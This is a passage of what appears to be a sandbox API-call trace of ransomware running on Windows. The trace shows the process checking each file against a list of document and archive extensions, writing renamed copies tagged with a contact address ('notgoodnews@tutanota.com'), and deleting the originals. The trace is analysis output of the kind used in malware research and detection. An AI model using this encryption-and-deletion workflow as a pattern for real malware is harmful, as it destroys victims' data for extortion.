lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesWritten=0x258fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0194.365] ReadFile (in: hFile=0x37c, lpBuffer=0x2e84020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x258fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesRead=0x258fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.365] WriteFile (in: hFile=0x380, lpBuffer=0x2e84020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x258fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesWritten=0x258fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.366] SetEndOfFile (hFile=0x380) returned 1 [0194.366] CloseHandle (hObject=0x380) returned 1 [0194.366] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.366] SetEndOfFile (hFile=0x37c) returned 1 [0194.367] CloseHandle (hObject=0x37c) returned 1 [0194.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0194.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.368] lstrlenW (lpString=".doc") returned 4 [0194.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.368] lstrlenW (lpString=".docx") returned 5 [0194.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.368] lstrlenW (lpString=".pdf") returned 4 [0194.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.368] lstrlenW (lpString=".xls") returned 4 [0194.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.368] lstrlenW (lpString=".xlsx") returned 5 [0194.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.368] lstrlenW (lpString=".ppt") returned 4 [0194.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.369] lstrlenW (lpString=".zip") returned 4 [0194.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.369] lstrlenW (lpString=".rar") returned 4 [0194.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".bz2") returned 4 [0194.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".7z") returned 3 [0194.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.369] lstrlenW (lpString=".dbf") returned 4 [0194.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.369] lstrlenW (lpString=".1cd") returned 4 [0194.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.369] lstrlenW (lpString=".jpg") returned 4 [0194.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.369] lstrlenW (lpString=".doc") returned 4 [0194.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".docx") returned 5 [0194.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.369] lstrlenW (lpString=".pdf") returned 4 [0194.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".xls") returned 4 [0194.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.370] lstrlenW (lpString=".xlsx") returned 5 [0194.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.370] lstrlenW (lpString=".ppt") returned 4 [0194.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.370] lstrlenW (lpString=".zip") returned 4 [0194.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.370] lstrlenW (lpString=".rar") returned 4 [0194.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString=".bz2") returned 4 [0194.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString=".7z") returned 3 [0194.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.370] lstrlenW (lpString=".dbf") returned 4 [0194.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.370] lstrlenW (lpString=".1cd") returned 4 [0194.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0194.370] lstrlenW (lpString=".jpg") returned 4 [0194.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.370] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.370] lstrlenW (lpString="HH01759_.WMF") returned 12 [0194.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0194.371] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x258ff14 | out: lpFileSize=0x258ff14*=5414) returned 1 [0194.371] CloseHandle (hObject=0x37c) returned 1 [0194.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0194.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0194.371] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.372] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0194.372] GetLastError () returned 0x0 [0194.372] ReadFile (in: hFile=0x37c, lpBuffer=0x2e84020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x258fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesRead=0x258fecc*=0x1526, lpOverlapped=0x0) returned 1 [0194.837] WriteFile (in: hFile=0x380, lpBuffer=0x2e84020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x258fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesWritten=0x258fc94*=0x1530, lpOverlapped=0x0) returned 1 [0195.149] ReadFile (in: hFile=0x37c, lpBuffer=0x2e84020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x258fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesRead=0x258fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.149] WriteFile (in: hFile=0x380, lpBuffer=0x2e84020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x258fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e84020*, lpNumberOfBytesWritten=0x258fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.150] SetEndOfFile (hFile=0x380) returned 1 [0195.931] CloseHandle (hObject=0x380) returned 1 [0195.931] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.931] SetEndOfFile (hFile=0x37c) returned 1 [0195.932] CloseHandle (hObject=0x37c) returned 1 [0195.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0195.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) Thread: id = 93 os_tid = 0xfe8 [0190.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x708b20 [0190.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x718b28 [0190.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1eb8 [0190.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbe60 [0190.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1ee8 [0190.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x2f93020 [0190.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1f00 [0190.867] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c1f00, Size=0x20) returned 0x69dcd8 [0190.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c1f00 [0190.867] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c1f00, Size=0x20) returned 0x69dc38 [0190.867] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.867] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.867] Wow64DisableWow64FsRedirection (in: OldValue=0x294ff50 | out: OldValue=0x294ff50*=0x0) returned 1 [0190.867] lstrlenW (lpString="kernel32.dll") returned 12 [0190.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0190.867] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dc38 | out: hHeap=0x660000) returned 1 [0190.867] Sleep (dwMilliseconds=0x64) [0191.190] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0191.190] lstrlenW (lpString="desktop.ini") returned 11 [0191.190] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0191.191] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=129) returned 1 [0191.191] CloseHandle (hObject=0x310) returned 1 [0191.191] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0191.191] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0x26 [0191.193] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.193] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.193] lstrlenW (lpString=".doc") returned 4 [0191.193] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0191.193] lstrlenW (lpString=".docx") returned 5 [0191.193] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0191.193] lstrlenW (lpString=".pdf") returned 4 [0191.193] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0191.193] lstrlenW (lpString=".xls") returned 4 [0191.193] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0191.193] lstrlenW (lpString=".xlsx") returned 5 [0191.193] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0191.193] lstrlenW (lpString=".ppt") returned 4 [0191.193] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0191.193] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.193] lstrlenW (lpString=".zip") returned 4 [0191.193] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0191.193] lstrlenW (lpString=".rar") returned 4 [0191.193] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0191.193] lstrlenW (lpString=".bz2") returned 4 [0191.193] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0191.193] lstrlenW (lpString=".7z") returned 3 [0191.193] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0191.193] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.193] lstrlenW (lpString=".dbf") returned 4 [0191.193] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0191.193] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.194] lstrlenW (lpString=".1cd") returned 4 [0191.194] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0191.194] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.194] lstrlenW (lpString=".jpg") returned 4 [0191.194] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0191.194] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.194] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.194] lstrlenW (lpString=".doc") returned 4 [0191.194] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0191.194] lstrlenW (lpString=".docx") returned 5 [0191.194] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0191.194] lstrlenW (lpString=".pdf") returned 4 [0191.194] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0191.194] lstrlenW (lpString=".xls") returned 4 [0191.194] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0191.194] lstrlenW (lpString=".xlsx") returned 5 [0191.194] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0191.194] lstrlenW (lpString=".ppt") returned 4 [0191.194] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0191.194] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.194] lstrlenW (lpString=".zip") returned 4 [0191.194] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0191.194] lstrlenW (lpString=".rar") returned 4 [0191.194] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0191.194] lstrlenW (lpString=".bz2") returned 4 [0191.194] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0191.194] lstrlenW (lpString=".7z") returned 3 [0191.194] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0191.195] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.195] lstrlenW (lpString=".dbf") returned 4 [0191.195] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0191.195] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.195] lstrlenW (lpString=".1cd") returned 4 [0191.195] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0191.195] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0191.195] lstrlenW (lpString=".jpg") returned 4 [0191.195] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0191.195] Sleep (dwMilliseconds=0x64) [0191.450] Sleep (dwMilliseconds=0x64) [0191.896] Sleep (dwMilliseconds=0x64) [0192.133] Sleep (dwMilliseconds=0x64) [0192.777] Sleep (dwMilliseconds=0x64) [0192.954] Sleep (dwMilliseconds=0x64) [0193.534] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.534] lstrlenW (lpString="ipscat.xml") returned 10 [0193.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.535] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2592) returned 1 [0193.535] CloseHandle (hObject=0x33c) returned 1 [0193.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0193.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString=".doc") returned 4 [0193.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString=".docx") returned 5 [0193.536] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.536] lstrlenW (lpString=".pdf") returned 4 [0193.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString=".xls") returned 4 [0193.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString=".xlsx") returned 5 [0193.536] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.536] lstrlenW (lpString=".ppt") returned 4 [0193.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString=".zip") returned 4 [0193.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.536] lstrlenW (lpString=".rar") returned 4 [0193.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString=".bz2") returned 4 [0193.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString=".7z") returned 3 [0193.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString=".dbf") returned 4 [0193.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString=".1cd") returned 4 [0193.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString=".jpg") returned 4 [0193.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.536] lstrlenW (lpString=".doc") returned 4 [0193.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString=".docx") returned 5 [0193.537] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.537] lstrlenW (lpString=".pdf") returned 4 [0193.537] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString=".xls") returned 4 [0193.537] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString=".xlsx") returned 5 [0193.537] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.537] lstrlenW (lpString=".ppt") returned 4 [0193.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.537] lstrlenW (lpString=".zip") returned 4 [0193.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.537] lstrlenW (lpString=".rar") returned 4 [0193.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString=".bz2") returned 4 [0193.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString=".7z") returned 3 [0193.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.537] lstrlenW (lpString=".dbf") returned 4 [0193.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.537] lstrlenW (lpString=".1cd") returned 4 [0193.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0193.537] lstrlenW (lpString=".jpg") returned 4 [0193.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.538] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.538] lstrlenW (lpString="ipschs.xml") returned 10 [0193.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.540] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2462) returned 1 [0193.540] CloseHandle (hObject=0x33c) returned 1 [0193.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0193.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.540] lstrlenW (lpString=".doc") returned 4 [0193.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.540] lstrlenW (lpString=".docx") returned 5 [0193.540] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0193.540] lstrlenW (lpString=".pdf") returned 4 [0193.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.540] lstrlenW (lpString=".xls") returned 4 [0193.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.540] lstrlenW (lpString=".xlsx") returned 5 [0193.540] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0193.540] lstrlenW (lpString=".ppt") returned 4 [0193.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString=".zip") returned 4 [0193.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.541] lstrlenW (lpString=".rar") returned 4 [0193.541] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString=".bz2") returned 4 [0193.541] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString=".7z") returned 3 [0193.541] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString=".dbf") returned 4 [0193.541] lstrcmpiW (lpString1=".dbf", 